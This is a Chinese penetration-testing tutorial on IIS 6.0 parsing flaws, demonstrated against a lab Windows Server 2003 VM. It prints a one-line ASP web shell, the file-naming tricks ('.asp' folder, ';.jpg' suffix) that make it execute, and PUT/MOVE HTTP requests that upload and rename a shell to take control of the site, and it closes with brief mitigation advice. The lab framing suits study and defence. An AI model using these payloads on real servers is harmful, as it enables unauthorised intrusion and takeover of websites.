网络安全/渗透测试/代码审计/
关注
IIS - 解析漏洞(上)
漏洞介绍与成因
在IIS-6.0这个版本中,搭建的服务器是2003系统中所造成的解析漏洞的两种情况。
情况一:/liuwx.asp/liuwx.jpg
介绍:在网站的根目录下创建一个命名为liuwx.asp的文件夹,该文件夹下有一个liuwx.jpg的图片木马,也就是说该目录下的所有文件都会被当做asp脚本文件
利用:访问 www.liuwx.cn/liuwx.asp/liuwx.jpg 会吧图片解析当成asp脚本文件执行代码语言:javascript复制情况二:`liuwx.asp;.jpg`
介绍:创建一个图片并命名为liuwx.asp;.jpg,注意有一个分号和点,的图片文件
利用:www.liuwx.cn/liuwx.asp/liuwx.asp;.jpg 会吧它当做脚本文件执行准备工作
代码语言:javascript复制虚拟机:Windows Server 2003 Enterprise x64 Edition物理主机和2003虚拟机必须能相互Ping通
在这里我物理主机的IP是:192.168.1.100
2003虚拟机的IP是:192.168.119.133

漏洞验证
情况一
我首先在网站根目录下创建了一个liuwx.asp的目录,该目录下有一个liuwx.txt文件,里面写了这是情况一

接下来吧.txt修改为.jpg

此时,用物理机访问2003虚拟机的图片地址:
http://192.168.119.133/liuwx.asp/liuwx.jpg

可以看到它并没有显示图片,而是吧图片当做脚本来执行了!为了方便演示,我吧图片内容修改为asp一句话来演示<%execute(request("cmd"))%>:
然后用菜刀链接URL:
http://192.168.119.133/liuwx.asp/liuwx.jpg | cmd

这个时候我们就成功得到了一个webshell
情况二
在网站根目录下创建一个命名为liuwx.asp;.jpg的文件,其中和上面的一样,里面写了asp一句话

用菜刀链接URL:
http://192.168.119.133/liuwx.asp;.jpg | cmd

这个时候我们就又成功得到了一个webshell
通过PUT漏洞来利用IIS6.0解析漏洞
关于PUT漏洞可以看我之前写的文章:http://www.liuwx.cn/IIS-1.html

HTTP/1.1 201 Created
Date: Fri, 16 Aug 2019 15:33:02 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://192.168.119.133/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK服务器验证一下看看存在不存在:

上传成功!
当然,我们上传txt文件并没有什么作用,我们得上传脚本文件才可以发挥作用。
我们上传先用PUT上传一个shell.txt:


上传成功后我们再选择MOVE:

切记数据包中一定要加:;.jpg
MOVE /shell.txt HTTP/1.1
Host: 192.168.119.133
Destination: http://192.168.119.133/shell.asp;.jpg

这个时候就成功上传了一个shell.asp;/jpg的文件!
我们使用中国菜刀连接一下Shell:

这个时候就拿到了网站的控制权限!
修复建议
程序方面:
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹
2、取消网站后台新建目录的功能,不允许新建目录
3、限制上传的脚本执行权限,不允许执行脚本
4、过滤.asp/*.jpg,通过ISApi组件过滤


